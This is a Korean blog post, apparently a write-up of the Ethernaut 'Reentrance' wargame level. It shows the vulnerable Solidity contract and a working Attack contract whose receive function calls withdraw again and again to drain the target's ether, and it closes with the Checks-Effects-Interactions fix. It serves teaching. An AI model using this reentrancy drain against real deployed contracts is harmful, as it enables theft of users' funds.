티스토리 뷰
1. 문제
아래 컨트랙트의 모든 자금을 탈취하라.
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.12;
import 'openzeppelin-contracts-06/math/SafeMath.sol';
contract Reentrance {
using SafeMath for uint256;
mapping(address => uint) public balances;
function donate(address _to) public payable {
balances[_to] = balances[_to].add(msg.value);
}
function balanceOf(address _who) public view returns (uint balance) {
return balances[_who];
}
function withdraw(uint _amount) public {
if(balances[msg.sender] >= _amount) {
(bool result,) = msg.sender.call{value:_amount}("");
if(result) {
_amount;
}
balances[msg.sender] -= _amount;
}
}
receive() external payable {}
}
2. 해법
Remix IDE를 사용해 다음의 컨트랙트를 작성합니다. 이 때 Reentrance 컨트랙트가 불러오는 라이브러리의 경로가 잘못되었기 때문에 코드를 그대로 사용할 수 없어서 인터페이스로 대체했습니다.
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.12;
interface IRentrance {
function donate(address _to) external payable;
function balanceOf(address _who) external view returns (uint balance);
function withdraw(uint _amount) external;
receive() external payable;
}
contract Attack {
address payable public reentrance;
constructor(address _reentrance) public {
reentrance = payable(_reentrance);
}
function attack() payable public {
require(msg.value == 0.001 ether);
IRentrance instance = IRentrance(reentrance);
instance.donate{value: msg.value}(address(this));
instance.withdraw(msg.value);
}
receive() external payable {
IRentrance instance = IRentrance(reentrance);
instance.withdraw(0.001 ether);
}
}
인스턴스에는 0.001 이더가 들어있습니다. Attack 컨트랙트에서는 이 0.001을 하드코딩하여 사용하였습니다.
0.001 이더와 함께 attack 함수를 실행합니다.
트랜잭션이 컨펌되고 Attack 컨트랙트의 잔액을 확인하면 0.002 이더가 된 것을 확인할 수 있습니다.
그리고 Reentrance 컨트랙트의 잔액을 확인하면 0이 된 것을 확인할 수 있습니다.
인스턴스를 제출합니다.
3. 재진입 공격
재진입 공격과 관련해서는 제가 이전에 작성한 게시글의 내용과 완전히 동일한 로직으로 동작하기 때문에 이를 참고해주시면 좋을 것 같습니다.
4. 결론
먼저 검사하고(Checks) 상태를 변경한 다음(Effects) 외부 함수를 호출하자(Interactions).
'Solidity > Hacking' 카테고리의 다른 글
[Ethernaut] 12. Privacy (1) | 2024.01.24 |
---|---|
[Ethernaut] 11. Elevator (1) | 2024.01.23 |
[Ethernaut] 9. King (0) | 2024.01.20 |
[Ethernaut] 8. Vault (0) | 2024.01.18 |
[Ethernaut] 7. Force (0) | 2024.01.17 |